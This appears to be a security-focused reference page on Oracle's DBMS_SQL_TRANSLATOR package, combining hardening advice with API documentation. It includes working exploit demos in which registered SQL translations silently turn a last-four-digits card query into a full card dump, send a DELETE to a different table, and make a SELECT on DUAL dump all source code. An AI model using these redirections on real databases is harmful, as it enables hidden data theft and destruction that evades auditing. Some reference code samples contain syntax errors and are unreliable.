Oracle DBMS_SQL_TRANSLATOR Built-In Package
Versions 12.1 - 19.3

Security Advisory
A SQL translation profile is an editionable database schema object that resides in SQL translation profile namespace. A SQL translation profile cannot be created as a common object in a consolidated database. Does any of that make sense? Though not. A SQL Translation Profile is in practical terms is a SQL rewrite. And, a SQL rewrite is another way of saying that when the database receives an instruction that it can match with a redirection it will perform the action it is redirected to perform and not do what it was asked to do.

So consider a SQL statement intended to return harmless information that instead returns privileged information. Or consider a statement intended to act on one table that performs a similar action but upon a different database object. The "How Oracle Works" demos below will provide a taste of the dangers lurking inside this built-in package.
 
Recommended Security Rules

 NEVER
  • Let any user or schema without documented justification or escalated privileges gain access to this package by revoking EXECUTE from PUBLIC
 WITH GREAT CARE
  • Identify legitimate requirements for access to this package and grant EXECUTE explicitly to only justified schemas
  • Query the data dictionary after EXECUTE has been revoked from PUBLIC to verify the equivalence created is the equivalence approved by IT management and your CISO
 CAUTIONS
  • Some usage may be in the form of dynamic SQL so carefully verify usage requirements in source code as well as in DBA_DEPENDENCIES
 
How Oracle Works
How Oracle imagined this package would be used Oracle's original concept for the SQL Translator in conjunction with the SQL Translation Framework, which was a Java engine that performed SQL translation between from other products to Oracle SQL, was that applications written for Sybase and SQL Server (TransactSQL) could be run without recoding on an Oracle Database.

They may have even conceived that the tool could be used in a manner analogous to DBMS_ADVANCED_REWRITE to replace poorly written Oracle SQL with brilliantly written Oracle SQL.

What they apparently did not consider was the possibility that the tool could also translate perfectly good but carefully vetted Oracle SQL into attack code. And, the fact that they didn't consider it likely explains why EXECUTE on this package is granted to PUBLIC.

Be sure that after you run the following demos you use dbms_sql_translator.drop_profile('DBSECWORX'); to drop the SQL Translation profile.
An exploit that takes advantage of this package to end-run security, testing, and auditing. This demonstration starts with the creation of a table holding credit card data.

conn uwclass/uwclass@pdbdev

CREATE TABLE uwclass.cc_data (
ccno VARCHAR2(19),
expdate DATE,
ccvno   VARCHAR2(4));

INSERT INTO uwclass.cc_data
(ccno, expdate, ccvno)
VALUES
('4114-0113-1518-7114', SYSDATE+100, '1234');

INSERT INTO uwclass.cc_data
(ccno, expdate, ccvno)
VALUES
('5123-4567-8901-2345', SYSDATE+150, '9876');
COMMIT;

An unrestricted SELECT statement clearly compromises PCI data.

SELECT * FROM uwclass.cc_data;

CCNO                EXPDATE              CCVN
------------------- -------------------- ----
5123-4567-8901-2345 11-MAY-2020 19:29:45 9876
4114-0113-1518-7114 30-NOV-2019 11:01:23 1234

Whereas a query of the final 4 digits of a credit card or tax id number could be safely used for identification.

SELECT SUBSTR(ccno, -4, 4) FINAL4 FROM uwclass.cc_data;

FINAL4
------
2345
7114

The first step in this exploit is to create a translation profile using a package with privileges granted to PUBLIC.

exec dbms_sql_translator.create_profile('DBSECWORX');

PL/SQL procedure successfully completed.

col profile_name format a20
col translator format a11

SELECT * FROM dba_sql_translation_profiles;

OWNER  PROFILE_NAME  TRANSLATOR  FOREI TRANS RAISE LOG_T TRACE LOG_E
------ ------------- ----------- ----- ----- ----- ----- ----- -----
SYS    DBSECWORX                 TRUE  TRUE FALSE  FALSE FALSE FALSE

The next step is is to tell the optimizer to convert any request for the final four digits of a credit card into a request for the entire credit card including expiration date and security code.

BEGIN
  dbms_sql_translator.register_sql_translation(profile_name => 'DBSECWORX', sql_text => 'SELECT SUBSTR(ccno,-4,4) FINAL4 FROM uwclass.cc_data', translated_text => 'SELECT * FROM uwclass.cc_data');
END;
/

PL/SQL procedure successfully completed.

col txlrowner format a11
col txlrname format a9

SELECT * FROM sys.sqltxl$;

   OBJ# TXLROWNER   TXLRNAME       FLAGS AUDIT$
------- ----------- --------- ---------- --------------------------------------
  74835                                3 --------------------------------------

col profile_name format a12
col sql_text format a70
col translated_text format a60

SELECT profile_name, sql_text, translated_text FROM user_sql_translations;

PROFILE_NAME
------------
SQL_TEXT
----------------------------------------------------------------------
TRANSLATED_TEXT
------------------------------------------------------------
DBSECWORX
SELECT SUBSTR(ccno,-4,4) FINAL4 FROM uwclass.cc_data
SELECT * FROM uwclass.cc_data

In this final step two ALTER SESSION statements are run enabling the user to use the translation profile.

ALTER SESSION SET sql_translation_profile = DBSECWORX;
ALTER SESSION SET EVENTS = '10601 trace name context forever, level 32';

And the clear result is that the query for a SUBSTRing of one column is rewritten to capture all information on every credit card in the entire table.

SQL> SELECT SUBSTR(ccno,-4,4) FINAL4 FROM uwclass.cc_data;

CCNO                EXPDATE              CCVN
------------------- -------------------- ----
5123-4567-8901-2345 11-MAY-2020 19:29:45 9876
4114-0113-1518-7114 30-NOV-2019 11:01:23 1234

The above demo is lightweight. It could easily be used to access data without an auditing or monitoring tool having a clue what had happened. The next demo is destructive. And, the following demo is pales in comparison with what could be done with a tool for which EXECUTE is granted to PUBLIC.
Now lets get nasty. In this demo we add an additional instruction to the DBSECWORX translation profile.

The new instruction tells the database to ignore a specific instruction to empty one table and, instead, empty a completely different table.
let's start off with a demo of something that does not work. Then morph it into something that does.

conn uwclass/uwclass@pdbdev

The first step in this demo is to create a second table by cloning CC_DATA.

CREATE TABLE uwclass.cc_data2 AS
SELECT * FROM uwclass.cc_data;

Read the initial statement and the translated statement: Color coded to make it easier to identify them.

BEGIN
  dbms_sql_translator.register_sql_translation(profile_name => 'DBSECWORX', sql_text => 'DELETE FROM uwclass.cc_data2', translated_text => 'DELETE FROM uwclass.cc_data');
END;
/

Repeat the ALTER SESSION statements if you are not still in the original session from the above demo.

ALTER SESSION SET sql_translation_profile = DBSECWORX;
ALTER SESSION SET EVENTS = '10601 trace name context forever, level 32';

Did you see the redirection above? A DELETE statement for one table becomes a DELETE statement for a completely different table. Try to delete the rows in cc_data2.

DELETE FROM uwclass.cc_data2;

2 rows deleted.

Two row where deleted somewhere but were they from the cc_data2 table?

SQL> SELECT * FROM cc_data2;

CCNO                EXPDATE              CCVN
------------------- -------------------- ----
5123-4567-8901-2345 11-MAY-2020 19:29:45 9876
4114-0113-1518-7114 30-NOV-2019 11:01:23 1234

SELECT * FROM cc_data;

no rows selected

Of course not. If they had been from the right table this demo wouldn't be demonstrating a security risk. And, if the above example doesn't send shivers down your spine, consider taking a basic class in cyber security and don't log onto a database, or write any code, until you pass the final.
One more demo to demonstrate exactly how dangerous this package can be conn uwclass/uwclass@pdbdev

Read the statement in green ... it is as harmless as you can get. How about the one in red?

BEGIN
  dbms_sql_translator.register_sql_translation(profile_name => 'DBSECWORX', sql_text => 'SELECT * FROM dual', translated_text => 'SELECT text FROM all_source');
END;
/

Repeat the ALTER SESSION statements if you are not still in the original session from the above demo.

ALTER SESSION SET sql_translation_profile = DBSECWORX;
ALTER SESSION SET EVENTS = '10601 trace name context forever, level 32';

SELECT * FROM dual;

You probably want to hit [Ctrl] [C] as soon as what is happening becomes obvious: likely in far less time than it takes to read this sentence.
 
DBMS_SQL_TRANSLATOR Package Information
AUTHID CURRENT_USER
Constants
Name Data Type Value
ATTR_EDITIONABLE VARCHAR2(30) 'EDITIONABLE'
ATTR_FOREIGN_SQL_SYNTAX VARCHAR2(30) 'FOREIGN_SQL_SYNTAX'
ATTR_LOG_ERRORS VARCHAR2(30) 'LOG_ERRORS'
ATTR_LOG_TRANSLATION_ERROR VARCHAR2(30) 'LOG_TRANSLATION_ERROR'
ATTR_RAISE_TRANSLATION_ERROR VARCHAR2(30) 'RAISE_TRANSLATION_ERROR'
ATTR_TRACE_TRANSLATION VARCHAR2(30) 'TRACE_TRANSLATOR'
ATTR_TRANSLATE_NEW_SQL VARCHAR2(30) 'TRANSLATE_NEW_SQL'
ATTR_TRANSLATOR VARCHAR2(30) 'TRANSLATOR'
ATTR_VALUE_TRUE VARCHAR2(30) 'TRUE'
ATTR_VALUE_FALSE VARCHAR2(30) 'FALSE'
Dependencies
ALL_ERROR_TRANSLATIONS DBMS_SQL_TRANSLATOR_LIB SYS_IXMLAGG
ALL_OBJECTS DBMS_STANDARD XMLAGG
ALL_SQL_TRANSLATIONS DUAL XMLTYPE
ALL_SQL_TRANSLATION_PROFILES SQLTXL$ XQSEQUENCE
DBMS_SQL_TRANSLATOR_EXPORT    
Documented in Types & Packages Yes
Exceptions
Error Code Reason
ORA-00955 profile_exists
ORA-01031 insufficient_privilege
ORA-01435 no_such_user
ORA-24252 no_such_profile
ORA-24253 no_translation_found
ORA-29261 bad_argument
First Available 12.1
Security Model Owned by SYS with EXECUTE granted to PUBLIC

Another example we are calling out where a grant of EXECUTE to PUBLIC is unwarranted. A decision to translate or more correctly replace one SQL statement with another should be granted to an application ... not to everyone and anyone that can has the CREATE SESSION privilege.
Source {ORACLE_HOME}/rdbms/admin/dbmssqll.sql
Subprograms
 
CLEAR_SQL_TRANSLATION_ERROR
Clears the last error when the SQL was run dbms_sql_translator.clear_sql_translation_error(
profile_name IN VARCHAR2,
sql_text     IN CLOB);
PRAGMA SUPPLEMENTAL_LOG_DATA(clear_sql_translation_error, AUTO_WITH_COMMIT);
TBD
 
CREATE_PROFILE
Create a translation profile dbms_sql_translator.create_profile(
profile_name IN VARCHAR2,
editionable  IN BOOLEAN DEFAULT TRUE);
PRAGMA SUPPLEMENTAL_LOG_DATA(create_profile, AUTO_WITH_COMMIT);
conn sys@pdbdev as sysdba

exec dbms_sql_translator.create_profile('UW_TSQLTRANS', TRUE);

desc dba_sql_translation_profiles

col profile_name format a20
col translator format a11

SELECT *
FROM dba_sql_translation_profiles;

no rows selected

CREATE OR REPLACE PACKAGE uwclass.transpkg AUTHID CURRENT_USER IS
 PROCEDURE translate_sql(sql_text        IN  CLOB,
                         translated_text OUT NOCOPY CLOB);
 PROCEDURE translate_error(error_code          IN  BINARY_INTEGER,
                           translated_code     OUT BINARY_INTEGER,
                           translated_sqlstate OUT NOCOPY VARCHAR2);
END transpkg;
/

exec dbms_sql_translator.set_attribute('UW_TSQLTRANS', dbms_sql_translator.attr_translator, 'uwclass.transpkg');

col txlrowner format 11
col txlrname format a9

SELECT * FROM sys.sqltxl$;

 OBJ#      TXLROWNER   TXLRNAME  FLAGS      AUDIT$
---------- ----------- --------- ---------- --------------------------------------
98263      UWCLASS     TRANSPKG           3 --------------------------------------

exec dbms_sql_translator.set_attribute('UW_TSQLTRANS', dbms_sql_translator.attr_trace_translation, dbms_sql_translator.attr_value_true);

SELECT * FROM sys.sqltxl$;

 OBJ#      TXLROWNER   TXLRNAME  FLAGS      AUDIT$
---------- ----------- --------- ---------- --------------------------------------
98263      UWCLASS     TRANSPKG          19 --------------------------------------

-- attributes are stored in the FLAGS column

Flags Column Translation
flags number not null, /* flags */
                       /* 0x01 = foreign SQL dialect */
                       /* 0x02 = automatic translation registration */
                       /* 0x04 = custom translation miss alert */
                       /* 0x08 = custom translation miss error */
                       /* 0x10 = tracing */

CREATE TABLE uwclass.tsql_target AS
SELECT srvr_id
FROM uwclass.servers
WHERE 1=2;

exec dbms_sql_translator.register_sql_translation(
  profile_name    => 'UW_TSQLTRANS',
  sql_text        => 'SELECT srvr_id INTO uwclass.tsql_target FROM uwclass.servers',
  translated_text => 'INSERT INTO uwclass.tsql_target
                      SELECT srvr_id FROM uwclass.servers');

-- SELECT getdate(); vs SELECT sysdate FROM dual;

desc dba_sql_translations

col owner format a10
col sql_text format a40
col translated_text format a39

SELECT owner, profile_name, sql_text, translated_text
from dba_sql_translations;

SQL> BEGIN
2 execute immediate 'SELECT srvr_id INTO uwclass.tsql_target FROM uwclass.servers';
3 END;
4 /
BEGIN
*
ERROR at line 1:
ORA-00905: missing keyword
ORA-06512: at line 2


ALTER SESSION SET SQL_TRANSLATION_PROFILE = UW_TSQLTRANS;
ALTER SESSION SET EVENTS = '10601 trace name context forever, level 32';

BEGIN
  execute immediate 'SELECT srvr_id INTO uwclass.tsql_target FROM uwclass.servers';
END;
/

DECLARE
 hashVal NUMBER;
 retVal  VARCHAR2(30);
 sqlTxt  CLOB := 'SELECT TOP 5 * FROM emp';
BEGIN
  hashVal := dbms_sql_translator.sql_hash(sqlTxt);
  dbms_output.put_line(TO_CHAR(hashVal));

  retVal := dbms_sql_translator.sql_id(sqlTxt);
  dbms_output.put_line(TO_CHAR(retVal));
END;
/

ALTER SESSION SET SQL_TRANSLATION_PROFILE = UW_TSQLTRANS;

DECLARE
 iClob CLOB := 'SELECT TOP 5 * FROM emp';
 oCLOB CLOB;
BEGIN
  dbms_sql_translator.translate_sql(iClob, oClob);
  dbms_output.put_line(oClob);
END;
/

exec dbms_sql_translator.drop_profile('UW_SQLTRANS');

SELECT *
FROM dba_sql_translation_profiles;
 
DEREGISTER_ERROR_TRANSLATION
Deregisters the translation of an Oracle error code and SQLSTATE in a SQL translation profile dbms_sql_translator.procedure register_error_translation(
profile_name        IN VARCHAR2,
error_code          IN PLS_INTEGER,
translated_code     IN PLS_INTEGER DEFAULT NULL,
translated_sqlstate IN VARCHAR2    DEFAULT NULL,
enable              IN BOOLEAN     DEFAULT TRUE);
PRAGMA SUPPLEMENTAL_LOG_DATA(register_error_translation, AUTO_WITH_COMMIT);
BEGIN
  dbms_sql_translator.deregister_error_translation(profile_name => UW_SQLTRANS', error_code => 1);
END;
/
 
DEREGISTER_SQL_TRANSLATION
Deregisters the custom translation of a SQL statement in a SQL translation profile dbms_sql_translator.procedure deregister_sql_translation(
profile_name IN VARCHAR2,
sql_text     IN CLOB);
PRAGMA SUPPLEMENTAL_LOG_DATA(deregister_sql_translation, AUTO_WITH_COMMIT);
BEGIN
  dbms_sql_translator.deregister_sql_translation('UW_SQLTRANS', 'SELECT TOP 5 * FROM emp');
END;
/
 
DROP_PROFILE
Drop a translation profile dbms_sql_translator.drop_profile(profile_name IN VARCHAR2);
PRAGMA SUPPLEMENTAL_LOG_DATA(drop_profile, AUTO_WITH_COMMIT);
See CREATE_PROFILE Demo Above
 
ENABLE_ERROR_TRANSLATION
Enables a custom translation of an Oracle error code in a SQL translation profile dbms_sql_translator.enable_error_translation(
profile_name  IN VARCHAR2,
error_code    IN PLS_INTEGER,
enable        IN BOOLEAN DEFAULT TRUE);
PRAGMA SUPPLEMENTAL_LOG_DATA(enable_error_translation, AUTO_WITH_COMMIT);
BEGIN
  dbms_sql_translator.enable_error_translation('UW_SQLTRANS', 1, TRUE);
END;
/
 
ENABLE_SQL_TRANSLATION
Enables a custom translation of an Oracle error code in a SQL translation profile dbms_sql_translator.enable_sql_translation(
profile_name IN VARCHAR2,
sql_text     IN CLOB,
enable       IN BOOLEAN DEFAULT TRUE);
PRAGMA SUPPLEMENTAL_LOG_DATA(enable_sql_translation, AUTO_WITH_COMMIT);
BEGIN
  dbms_sql_translator.enable_sql_translation('UW_SQLTRANS', 'SELECT TOP 5 * FROM emp', TRUE);
END;
/
 
EXPORT_PROFILE
Exports the content of a SQL translation profile dbms_sql_translator.export_profile(
profile_name IN         VARCHAR2,
content      OUT NOCOPY CLOB);
DECLARE
 lRetVal CLOB;
BEGIN
  dbms_sql_translator.export_profile('UW_SQLTRANS',  lRetVal);
END;
/
 
IMPORT_PROFILE
Imports the content of a SQL translation profile dbms_sql_translator.import_profile(
profile_name IN VARCHAR2,
content      IN CLOB);
DECLARE
 lContent CLOB;
BEGIN
  dbms_sql_translator.import_profile(profile_name => 'UW_SQLTRANS', content => content);
END;
/
 
REGISTER_ERROR_TRANSLATION
Registers a custom translation of an Oracle error code and SQLSTATE in a SQL translation profile dbms_sql_translator.register_error_translation(
profile_name        IN VARCHAR2,
error_code          IN PLS_INTEGER,
translated_code     IN PLS_INTEGER DEFAULT NULL,
translated_sqlstate IN VARCHAR2    DEFAULT NULL,
enable              IN BOOLEAN     DEFAULT TRUE);
PRAGMA SUPPLEMENTAL_LOG_DATA(register_error_translation, AUTO_WITH_COMMIT);
BEGIN
  dbms_sql_translator.register_error_translation(profile_name => 'UW_SQLTRANS', error_code => 1, translated_code => 2601);
END;
/
 
REGISTER_SQL_TRANSLATION
Registers a custom translation of a SQL statement in a SQL translation profile dbms_sql_translator.register_sql_translation(
profile_name    IN VARCHAR2,
sql_text        IN CLOB,
translated_text IN CLOB    DEFAULT NULL,
enable          IN BOOLEAN DEFAULT TRUE);
PRAGMA SUPPLEMENTAL_LOG_DATA(register_sql_translation, AUTO_WITH_COMMIT);
See CREATE_PROFILE Demo Above
 
SET_ATTRIBUTE
Sets an attribute of a SQL translation profile dbms_sql_translator.set_attribute(
profile_name    IN VARCHAR2,
attribute_name  IN VARCHAR2,
attribute_value IN VARCHAR2);
PRAGMA SUPPLEMENTAL_LOG_DATA(set_attribute, AUTO_WITH_COMMIT);
See CREATE_PROFILE Demo Above
 
SET_DICTIONARY_SQL_ID
Sets the SQL identifier of the SQL text in translation dictionary used to translate the current SQL statement dbms_sql_translator.set_dictionary_sql_id(dictionary_sql_id IN VARCHAR2);
exec dbms_sql_translator.set_dictionary_sql_id('b4yz288n4gyc6');
 
SET_ERROR_TRANSLATION_COMMENT
Sets the comment on a custom translation of an Oracle error code in a SQL translation profile set_error_translation_comment(
profile_name IN VARCHAR2,
error_code   IN PLS_INTEGER,
comment      IN VARCHAR2);
BEGIN
  dbms_sql_translator.set_error_translation_comment('UW_SQLTRANS', 1, 'Well there you go again');
END;
/
 
SET_SQL_TRANSLATION_COMMENT
Sets the comment on a custom translation of a SQL statement in a SQL translation profile dbms_sql_translator.set_sql_translation_comment(
profile_name IN VARCHAR2,
sql_text     IN CLOB,
comment      IN VARCHAR2);
BEGIN
  dbms_sql_translator.set_sql_translation_comment('UW_SQLTRANS', 'SELECT TOP 5 * FROM emp', 'High 5');
END;
/
 
SET_SQL_TRANSLATION_MODULE
Sets the module and action on a custom translation of a SQL statement in a SQL translation profile dbms_sql_translator.set_sql_translation_module(
profile_name IN VARCHAR2,
sql_text     IN CLOB,
module       IN VARCHAR2,
action       IN VARCHAR2)
BEGIN
  dbms_sql_translator.set_sql_translation_comment('UW_SQLTRANS', 'SELECT TOP 5 * FROM emp', 'SQL Translation Demo', 'Translation Test);
END;
/

SELECT module, action
FROM v$session
WHERE module = 'SQL Translation Demo';
 
SQL_HASH
Computes the hash value of a SQL statement in a SQL translation profile dbms_sql_translator.sql_hash(sql_text IN CLOB) RETURN NUMBER DETERMINISTIC;
See CREATE_PROFILE Demo Above
 
SQL_ID
Computes the SQL identifier of a SQL statement in a SQL translation profile dbms_sql_translator.sql_id(sql_text IN CLOB) RETURN VARCHAR2 DETERMINISTIC;
See CREATE_PROFILE Demo Above
 
TRANSLATE_ERROR
Translates an Oracle error code and an ANSI SQLSTATE using a SQL translation profile dbms_sql_translator.translate_error(
error_code          IN         PLS_INTEGER,
translated_code     OUT        PLS_INTEGER,
translated_sqlstate OUT NOCOPY VARCHAR2);
ALTER SESSION SET SQL_TRANSLATION_PROFILE = UW_SQLTRANS;

DECLARE
 x PLS_INTEGER;
 y VARCHAR2(60);
BEGIN
  dbms_sql_translator.translate_error(1, x, y);
  dbms_output.put_line(x);
  dbms_output.put_line(y);
END;
/
 
TRANSLATE_SQL
Translates a SQL statement using a SQL translation profile dbms_sql_translator.translate_sql(
sql_text        IN         CLOB,
translated_text OUT NOCOPY CLOB);
See CREATE_PROFILE Demo Above

Related Topics
DBMS_ADVANCED_REWRITE
DBMS_SQL_TRANSLATOR_EXPORT